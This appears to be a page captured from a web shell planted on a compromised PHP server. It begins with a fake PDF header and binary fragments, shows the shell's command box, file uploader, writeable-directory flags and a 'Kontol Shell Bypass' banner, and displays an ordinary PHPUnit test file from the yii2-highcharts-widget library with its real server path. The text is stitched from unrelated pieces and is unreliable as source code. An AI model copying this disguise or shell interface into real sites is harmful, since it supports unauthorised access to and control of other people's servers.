%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/ildis_v4/vendor/miloschuman/yii2-highcharts-widget/tests/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/ildis_v4/vendor/miloschuman/yii2-highcharts-widget/tests/SeriesDataHelperTest.php
<?php
namespace miloschumanunit\highcharts;

use miloschuman\highcharts\SeriesDataHelper;
use yii\data\ArrayDataProvider;

/**
 * SeriesDataHelperTest.php
 */
class SeriesDataHelperTest extends BaseTestCase
{
    /**
     * test basic data processing using current setup
     */
    public function testBasicProcessing()
    {
        $data = [
            [
                'date_measured' => '2016-03-01 03:00:00',
                'open'          => 3.14,
            ],
            [
                'date_measured' => '2016-03-02 03:00:00',
                'open'          => 4.14,
            ]
        ];
        $columns      = [
            [ 'date_measured', 'datetime' ],
            'open:int',
        ];

        $dataProvider = $this->setupDataProvider($data);

        $helper  = new SeriesDataHelper( $dataProvider, $columns );
        $results = $helper->process();
        $this->assertEquals( strtotime('2016-03-01 03:00:00') * 1000, $results[0][0] );
        $this->assertEquals( 3, $results[0][1] );
        $this->assertEquals( strtotime('2016-03-02 03:00:00') * 1000, $results[1][0] );
        $this->assertEquals( 4, $results[1][1] );
    }

    /**
     * test fancy data processing to produce JS objects instead of arrays
     */
    public function testFancyDataProcessing()
    {
        $data = [
            [
                'date_measured' => '2016-03-01 03:00:00',
                'open'          => 3.14,
                'pointData'     => 'Show this on the graph',
            ],
            [
                'date_measured' => '2016-03-02 03:00:00',
                'open'          => 4.14,
                'pointData'     => 'This as well',
            ]
        ];
        $columns      = [
            'x' => [ 'date_measured', 'datetime' ],
            'y' => 'open:int',
            'extra' => 'pointData:raw',
        ];

        $dataProvider = $this->setupDataProvider($data);

        $helper  = new SeriesDataHelper( $dataProvider, $columns );
        $results = $helper->jsonSerialize();
        $this->assertEquals( strtotime('2016-03-01 03:00:00') * 1000, $results[0]['x']);
        $this->assertEquals( 3, $results[0]['y'] );
        $this->assertEquals( 'Show this on the graph', $results[0]['extra'] );
        $this->assertEquals( strtotime('2016-03-02 03:00:00') * 1000, $results[1]['x'] );
        $this->assertEquals( 4, $results[1]['y'] );
        $this->assertEquals( 'This as well', $results[1]['extra'] );
    }

    private function setupDataProvider($data)
    {
        return new ArrayDataProvider( [
            'allModels' => $data,
            'sort' => false,
            'pagination' => false,
        ] );
    }
}

Kontol Shell Bypass